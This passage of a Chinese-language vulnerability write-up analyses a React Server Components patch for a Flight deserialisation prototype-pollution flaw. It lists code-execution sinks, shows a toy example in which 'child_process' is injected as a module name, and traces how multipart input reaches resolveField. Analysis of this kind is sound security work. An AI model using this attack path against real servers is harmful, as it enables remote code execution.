leaf="">,</span><span style="line-height: 26px;"><span leaf="">10</span></span><span leaf=""> @@ </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">export</span></span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">preloadModule</span></span><span leaf="">&lt;</span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">T</span></span><span leaf="">&gt;(</span><span style="line-height: 26px;"><span leaf=""><br/></span><span leaf=""> export function requireModule&lt;T&gt;(metadata: ClientReference&lt;T&gt;</span></span><span leaf="">): </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">T</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> moduleExports = parcelRequire(metadata[ID]);</span><span leaf=""><br/></span><span leaf="">-  </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> moduleExports[metadata[NAME]];</span><span leaf=""><br/></span><span leaf="">+  </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (hasOwnProperty.call(moduleExports, metadata[NAME])) {</span><span leaf=""><br/></span><span leaf="">+    </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> moduleExports[metadata[NAME]];</span><span leaf=""><br/></span><span leaf="">+  }</span><span leaf=""><br/></span><span leaf="">+  </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">undefined</span></span><span leaf="">: any);</span><span leaf=""><br/></span><span leaf=""> }</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">使用 hasOwnProperty.call() 确保只访问对象自有属性，完全隔离原型链。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">第三处：新增了 fulfillReference 和 getOutlinedModel 函数：</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">+</span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">fulfillReference</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf=""><br/></span><span leaf="">+  response: Response,</span><span leaf=""><br/></span><span leaf="">+  reference: InitializationReference,</span><span leaf=""><br/></span><span leaf="">+  value: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">any</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">+</span></span><span leaf="">): </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">void</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">+  </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> {handler, parentObject, key, map, path} = reference;</span><span leaf=""><br/></span><span leaf="">+</span><span leaf=""><br/></span><span leaf="">+  </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> i = </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">; i &lt; path.length; i++) {</span><span leaf=""><br/></span><span leaf="">+    </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// The server doesn&#39;t have any lazy references but we unwrap Chunks here in the same way as the client.</span></span><span leaf=""><br/></span><span leaf="">+    </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> (value </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">instanceof</span></span><span leaf=""> ReactPromise) {</span><span leaf=""><br/></span><span leaf="">+      </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> referencedChunk: SomeChunk&lt;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">any</span></span><span leaf="">&gt; = value;</span><span leaf=""><br/></span><span leaf="">+      </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (referencedChunk.status) {</span><span leaf=""><br/></span><span leaf="">+        </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> RESOLVED_MODEL:</span><span leaf=""><br/></span><span leaf="">+          initializeModelChunk(referencedChunk);</span><span leaf=""><br/></span><span leaf="">+          </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">+      }</span><span leaf=""><br/></span><span leaf="">+      </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (referencedChunk.status) {</span><span leaf=""><br/></span><span leaf="">+        </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> INITIALIZED: {</span><span leaf=""><br/></span><span leaf="">+          value = referencedChunk.value;</span><span leaf=""><br/></span><span leaf="">+          </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">continue</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">+        }</span><span leaf=""><br/></span><span leaf="">+        </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> BLOCKED:</span><span leaf=""><br/></span><span leaf="">+        </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> PENDING: {</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">+      }</span><span leaf=""><br/></span><span leaf="">+    }</span><span leaf=""><br/></span><span leaf="">+    </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> name = path[i];</span><span leaf=""><br/></span><span leaf="">+    </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> value === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;object&#39;</span></span><span leaf=""> &amp;&amp; hasOwnProperty.call(value, name)) {</span><span leaf=""><br/></span><span leaf="">+      value = value[name];</span><span leaf=""><br/></span><span leaf="">+    }</span><span leaf=""><br/></span><span leaf="">+  }</span><span leaf=""><br/></span><span leaf="">@@ </span><span style="line-height: 26px;"><span leaf="">-612</span></span><span leaf="">,</span><span style="line-height: 26px;"><span leaf="">28</span></span><span leaf=""> +</span><span style="line-height: 26px;"><span leaf="">884</span></span><span leaf="">,</span><span style="line-height: 26px;"><span leaf="">79</span></span><span leaf=""> @@ </span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">getOutlinedModel</span></span><span leaf="">&lt;</span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">T</span></span><span leaf="">&gt;(</span><span style="line-height: 26px;"><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> INITIALIZED:</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> value = chunk.value;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> i = </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">; i &lt; path.length; i++) {</span><span leaf=""><br/></span><span leaf="">-        value = value[path[i]];</span><span leaf=""><br/></span><span leaf="">+        </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// The server doesn&#39;t have any lazy references but we unwrap Chunks here in the same way as the client.</span></span><span leaf=""><br/></span><span leaf="">+        </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> (value </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">instanceof</span></span><span leaf=""> ReactPromise) {</span><span leaf=""><br/></span><span leaf="">+          </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> referencedChunk: SomeChunk&lt;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">any</span></span><span leaf="">&gt; = value;</span><span leaf=""><br/></span><span leaf="">+          </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (referencedChunk.status) {</span><span leaf=""><br/></span><span leaf="">+            </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> RESOLVED_MODEL:</span><span leaf=""><br/></span><span leaf="">+              initializeModelChunk(referencedChunk);</span><span leaf=""><br/></span><span leaf="">+              </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">+          }</span><span leaf=""><br/></span><span leaf="">+          </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (referencedChunk.status) {</span><span leaf=""><br/></span><span leaf="">+            </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> INITIALIZED: {</span><span leaf=""><br/></span><span leaf="">+              value = referencedChunk.value;</span><span leaf=""><br/></span><span leaf="">+              </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">+            }</span><span leaf=""><br/></span><span leaf="">+            </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> BLOCKED:</span><span leaf=""><br/></span><span leaf="">+            </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> PENDING: {</span><span leaf=""><br/></span><span leaf="">+              </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> waitForReference(</span><span leaf=""><br/></span><span leaf="">...</span><span leaf=""><br/></span><span leaf="">+              );</span><span leaf=""><br/></span><span leaf="">+            }</span><span leaf=""><br/></span><span leaf="">+            </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">default</span></span><span leaf="">: {</span><span leaf=""><br/></span><span leaf="">+              </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// This is an error. Instead of erroring directly, we&#39;re going to encode this on</span></span><span leaf=""><br/></span><span leaf="">+              </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// an initialization handler so that we can catch it at the nearest Element.</span></span><span leaf=""><br/></span><span leaf="">+              </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (initializingHandler) {</span><span leaf=""><br/></span><span leaf="">+                initializingHandler.errored = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">+                initializingHandler.value = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">+                initializingHandler.reason = referencedChunk.reason;</span><span leaf=""><br/></span><span leaf="">+              } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">+                initializingHandler = {</span><span leaf=""><br/></span><span leaf="">+                  chunk: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">+                  value: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">+                  reason: referencedChunk.reason,</span><span leaf=""><br/></span><span leaf="">+                  deps: 0,</span><span leaf=""><br/></span><span leaf="">+                  errored: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">+                };</span><span leaf=""><br/></span><span leaf="">+              }</span><span leaf=""><br/></span><span leaf="">+              </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">any</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">+            }</span><span leaf=""><br/></span><span leaf="">+          }</span><span leaf=""><br/></span><span leaf="">+        }</span><span leaf=""><br/></span><span leaf="">+        </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> name = path[i];</span><span leaf=""><br/></span><span leaf="">+        </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> value === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;object&#39;</span></span><span leaf=""> &amp;&amp; hasOwnProperty.call(value, name)) {</span><span leaf=""><br/></span><span leaf="">+          value = value[name];</span><span leaf=""><br/></span><span leaf="">+        }</span></span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">循环检索，防止通过路径遍历访问到危险的原型链属性。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">通过分析这个补丁很容易就理解这个漏洞的利用大概流程：</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">通过 Flight 的反序列化功能，传入带有原型链污染的数据，在某个原型链属性的调用后，可以实现 RCE。</span></p><h1 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">二、漏洞分析</span></h1><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">1、已有信息分析</span></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个漏洞最经典的是这个原型链的构建，是近些年最为精彩的漏洞之一。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">还是老样子，既然是漏洞分析，就不能对着答案来回答问题，因此我们需要从漏洞发现者的角度来思考。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">先逐条分析我们已有的信息：</span></p><h3 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><strong style="font-weight: bold;color: black;"><span leaf="">①、漏洞的本质：一个原型链污染导致 RCE 的漏洞</span></strong></h3><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们知道，原型链污染本身只是具有“改配置”的能力，想要变成 RCE，关键在于能不能把这些“配置”转成“代码执行的参数或者函数”，比如我们能控制参数传入到一些 RCE 的 sink 点 ，典型的 sink 点有：eval(...)、new Function(...)、vm.runInNewContext(...)、setInterval(&#34;code&#34;, ...)、child_process.exec(...) 以及一些模版注入漏洞点等。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">此外，如果我们能污染某个对象里的 handler / strategy / engine 字段，再让程序从字符串里 require() 我们想要利用的模块（比如 child_process），再调用里面的方法，也可以实现 RCE。但在这种情况下，必须要求代码里存在某种可以通过字符串或者配置来，选择函数或者模块的机制，这些配置来源于一个容易被“深度 merge”的对象，原型污染能刚好影响到这个选择字段。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">关于参数的问题通常来说比较容易理解，关于函数或者模块调用如果不好理解，一个简单的 case 如下：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">runTask</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf="">task, options = {}</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 通过配置指定用哪个 engine 模块</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> engineName = options.engine || </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;default-engine&#39;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 动态加载模块（危险点）</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> engine = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">require</span></span><span leaf="">(engineName);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> engine.run(task);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这里的关键点：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">engineName 是一个字符串；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">这个字符串决定了 require(...) 哪个模块；</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Node 里如 child_process、fs、vm 这些核心模块都是随手就能 require 的。</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">如果攻击者能控制</span></strong><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">options.engine</span></code><span leaf="">**</span></strong><span leaf="">，那就有机会变成：**</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">options.engine = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;child_process&#39;</span></span><span leaf="">;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 然后 engine.run 里面做了啥就很关键</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">如果 child_process 的 run 刚好调用 exec(...) 或者某个包装函数，就有 RCE。当然，真实场景下未必像这个 case 简单直白，但结构是类似的，就是用配置字符串选模块，然后对模块做某种调用。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">**总结一句话：**用户输入 → 深度 merge → 污染原型上的某个字段 → 程序读这个字段来决定“要调用哪个模块/函数” → 调到了危险的东西（RCE）。</span></p><h3 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">②、漏洞的 sink 和 source</span></h3><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Server Action 的数据从哪里进入？可以看 patch 代码：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// packages/react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">export</span></span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">decodeReplyFromBusboy</span></span><span leaf="">&lt;</span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">T</span></span><span leaf="">&gt;(</span><span style="line-height: 26px;"><span leaf=""><br/></span><span leaf="">  busboyStream: BusboyStream,  </span><span style="color: #bf79db;line-height: 26px;"><span leaf="">//</span></span><span leaf="">  multipart 流</span><span leaf=""><br/></span><span leaf="">  webpackMap: ServerManifest,</span><span leaf=""><br/></span><span leaf="">  options?: FlightServerOptions,</span><span leaf=""><br/></span></span><span leaf="">): </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">Thenable</span></span><span leaf="">&lt;</span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">T</span></span><span leaf="">&gt; </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> response = createResponse(webpackMap, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">, options);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ...</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">函数名包含 Busboy ，这通常是用来处理 multipart/form-data 数据的，那必然这是入口点。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">然后就是追踪 Busboy 事件监听：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">busboyStream.on(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;field&#39;</span></span><span leaf="">, (name, value) =&gt; {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (pendingFiles &gt; </span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">    queuedFields.push(name, value);</span><span leaf=""><br/></span><span leaf="">  } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">    resolveField(response, name, value);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 核心点</span></span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">});</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">``</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">`</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们知道，multipart 的数据格式一般如下所示：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">------Boundary</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf=""><br/></span><span leaf="">{</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;data&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;...&#34;</span></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">------Boundary</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">根据上面的代码，那就是，Busboy 解析后触发 &#39;field&#39; 事件，从 0 开始，为 filed 设置值，比如：name = &#34;0&#34;, value = &#39;{&#34;data&#34;: &#34;...&#34;}&#39;，然后返回调用 resolveField(response, &#34;0&#34;, &#39;{&#34;data&#34;: &#34;...&#34;}&#39;)。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">继续追踪 resolveField 函数：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// packages/react-server/src/ReactFlightReplyServer.js</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">export</span></span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">resolveField</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf=""><br/></span><span leaf="">  response: Response,</span><span leaf=""><br/></span><span leaf="">  key: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">string</span></span><span leaf="">,        </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// name 值 &#34;0&#34;</span></span><span leaf=""><br/></span><span leaf="">  value: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">string</span></span><span leaf="">,      </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// value值 &#39;{&#34;data&#34;: &#34;...&#34;}&#39;</span></span><span leaf=""><br/></span></span><span leaf="">): </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">void</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> chunks = response._chunks;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> prefix = key[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">];  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// &#34;0&#34;</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> id = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">parseInt</span></span><span leaf="">(key.slice(</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">), </span><span style="line-height: 26px;"><span leaf="">16</span></span><span leaf="">);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 解析 ID</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> chunk = chunks.get(id);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span 